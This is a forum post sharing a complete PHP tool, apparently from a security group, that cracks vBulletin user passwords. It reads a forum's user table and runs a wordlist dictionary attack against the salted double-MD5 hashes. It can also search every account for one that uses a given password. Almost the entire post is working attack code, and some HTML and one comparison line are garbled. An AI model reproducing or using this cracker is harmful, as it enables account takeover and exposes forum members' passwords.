Super Moderator
Data inscrierii: 29/Aug/2007
Mesaje: 34
|
|
| Cod: |
<?
############################################################
## Author: M4k3 ##
## Script-Version: 1.0.2b ##
## Script-Name: vb_tool.php ##
## Copyright: pldsecurity.de / .com /pldsoft.com ##
## ##
## Comment: Next Version coming soon, check ##
## pldsecurity.com for Updates ##
############################################################
# For Crack Option, you need: [vbulletin database] & [wordlist]
# For Find Option, you need: [vbulletin database]
###################### Set Error Reporting #################
error_reporting(E_ALL & ~E_NOTICE);
set_time_limit(60);
# 60 for a database with 1000 Users
# 180 for a database with 3000 Users
####################### Change Values ######################
#MySQL Values
$mysql[server] = 'localhost:3306';
$mysql[username] = 'root';
$mysql[password] = '';
$mysql[database] = 'vbulletin';
$mysql[table] = 'user';
$mysql[page] = '20'; # Show 20 User / Site on User list
#Script Values
$script[wordlist] = 'word.txt';
if(!file_exists($script[wordlist])) {
$script[crack_option] = false;
}
$script[version] = '1.0.2b';
#############################################################
###################### Connection ###########################
$mysql[connect] = mysql_connect($mysql[server], $mysql[username], $mysql[password])
or die ("MySQL-Error: " .mysql_error());
$mysql[connect_db] = mysql_select_db($mysql[database], $mysql[connect])
or die ("MySQL-Error: " . mysql_error());
#############################################################
function check_table() {
global $mysql;
$query = mysql_query("Select * from ".$mysql[table]."")
or die ("MySQL-Error: " . mysql_error());
if(!mysql_error()) {
return 1;
}
}
function find_password($_POST) {
global $mysql;
$query = mysql_query("Select * from ".$mysql[table]."")
or die ("MySQL-Error: " . mysql_error());
while($user = mysql_fetch_array($query)) {
$script[get_salt] .= $user[salt].htmlentities('<r>');
}
$script[salt] = explode(htmlentities('<r>'), $script[get_salt]);
$query = mysql_query("Select * from ".$mysql[table]."")
or die ("MySQL-Error: " . mysql_error());
while($user = mysql_fetch_array($query)) {
for($i=0;$i<=sizeof($script[salt]);$i++) {
if(md5(md5(rtrim($_POST['password'])).$script[salt][$i]) == $user[password]) {
print 'Password found! Username: '.$user[username].' Userid: '.$user[userid].'<br>';
flush();
}
}
}
}
function crack_password($_POST) {
global $script;
global $mysql;
$query = mysql_query("Select * from ".$mysql[table]." where username = '".addslashes($_POST['username'])."'")
or die ("MySQL-Error: " . mysql_error());
$user = mysql_fetch_array($query);
if(!is_array($user)) {
print 'The User with the name <b>'.addslashes($_POST['username']).'</b> doesn\'t exist.<br>
<a>Back to Index</a>';
} else {
$file = fopen($script[wordlist], 'r');
while(!feof($file)) {
$word = fgets($file, 4096);
if(md5(md5(rtrim($word)).$user[salt]) == $user[password]) {
print 'Password Cracked! Password is <b>'.$word.'</b>';
$cracked = true;
}
}
if($cracked == false) {
print 'Failed to Crack Password.';
}
fclose($file);
}
}
if(check_table() == 1) {
print '<html>
<head>
<title>VBulletin Password Cracker</title>
<style>
body {
font-size: 11px;
text-align: center;
}
.option_table {
font-size: 11px;
border: 1px #000000 solid;
width: 300px;
}
.main_table {
font-size: 11px;
border: 1px #000000 solid;
width: 350px;
}
.user_table {
font-size: 11px;
text-align: center;
border: 0px #000000 solid;
}
.show_user {
border: 1px #000000 solid;
width: 125px;
}
.input_text {
font-size: 11px;
}
.input_submit {
color: #ffffff;
font-size: 11px;
border: 1px #000000 solid;
background-color: #000000;
}
a:link {
color: #000000;
text-decoration: none;
}
a:hover {
color: #000000;
text-decoration: underline overline;
}
</style>
</head>
<body>';
if(empty($_GET['crack_option']) && empty($_GET['find_option'])) {
print '<form>
<table>
<tr>
<td>
<b>vbulletin password cracker & finder '.$script[version].'</b><br>
<hr size = "1" style = "border: 1px #000000 solid;"
</td>
</tr>
<tr>
<td>';
if($script[crack_option] !== false) {
print '<input>';
} else {
print '<input>';
}
print '</td>
<td>
Use "Crack Password" Option
</td>
</tr>
<tr>
<td>
<input>
</td>
<td>
Use "Find Password" Option
</td>
</tr>
<tr>
<td>
<hr size = "1" style = "border: 1px #000000 solid;"
<input>
</td>
</tr>
<tr>
<td>
© Copyright by M4k3 <a>PLDsecurity.com</a>
</td>
</tr>
</table>
</form>';
}
if($_GET['crack_option'] == 'on') {
if($_GET['do'] == 'show_user') {
print '<table>
<tr>
<td>
Please select a username.
</td>
</tr>
<tr>
<td>
Userid
</td>
<td>
Username
</td>
</tr>';
if(empty($_GET['start']) && empty($_GET['end'])) {
$query = mysql_query("Select userid, username from ".$mysql[table]." limit 0, ".$mysql[page]."")
or die ("MySQL-Error: " . mysql_error());
while($show_user = mysql_fetch_array($query)) {
print '<tr>
<td>
'.$show_user[userid].'
</td>
<td>
<a>
'.$show_user[username].'</a>
</td>
</tr>';
}
print '<tr>
<td>
<a>
Next Page >></a>
</td>
</tr>
</table>
<br><br>';
print '<a>Back to Index</a>';
} else {
$query = mysql_query("Select userid, username from ".$mysql[table]." limit
".addslashes($_GET['start']).",".addslashes($_GET['end'])."")
or die ("MySQL-Error: " . mysql_error());
while($show_user = mysql_fetch_array($query)) {
print '<tr>
<td>
'.$show_user[userid].'
</td>
<td>
<a>
'.$show_user[username].'</a>
</td>
</tr>';
}
$page[next] = $_GET['start'] + $mysql[page];
$page[previous] = $_GET['start'] - $mysql[page];
$query = mysql_query("Select count(*) from user")
or die ("MySQL-Error: " . mysql_error());
$mysql[table_count] = mysql_fetch_array($query);
if($page[previous] </a> $mysql[table_count][0]) {
print '<tr>
<td>
<a>
<< Previous Page</a>
</td>
</tr>
</table>
<br><br>';
} else {
print '<tr>
<td>
<a>
<< Previous Page</a>
</td>
<td>
<a>
Next Page >></a>
</td>
</tr>
</table>
<br><br>';
}
print '<a>Back to Index</a>';
}
} elseif($_GET['do'] == 'crack_password' && !empty($_POST['username'])) {
crack_password($_POST);
} else {
print '<form>
<table>
<tr>
<td>
Insert a username or use the function "show user list"
<hr>
</td>
</tr>
<tr>
<td>
Username:
</td>
<td>';
if($_GET['do'] == 'get_user' && !empty($_GET['username'])) {
print '<input>';
} else {
print '<input>';
}
print '</td>
</tr>
<tr>
<td>
<input>
</td>
</tr>
<tr>
<td>
<hr>
<a>show user list</a>
</td>
</tr>
</table>
</form>
<br><br>
<a>Back to Script Index</a>';
}
} elseif($_GET['find_option'] == 'on') {
if($_GET['do'] == 'find_password' && !empty($_POST['password'])) {
print 'Searching...<br>';
flush();
find_password($_POST);
} else {
print '<form>
<table>
<tr>
<td>
Please insert a password.
<hr>
</td>
</tr>
<tr>
<td>
Password:
</td>
<td>
<input>
</td>
</tr>
<tr>
<td>
<input>
</td>
</tr>
</table>
</form>
<br><br>
<a>Back to Script Index</a>';
}
}
print '<br><br>
</body>
</html>';
}
?> |
|
_________________
Ras - RO Team |
|
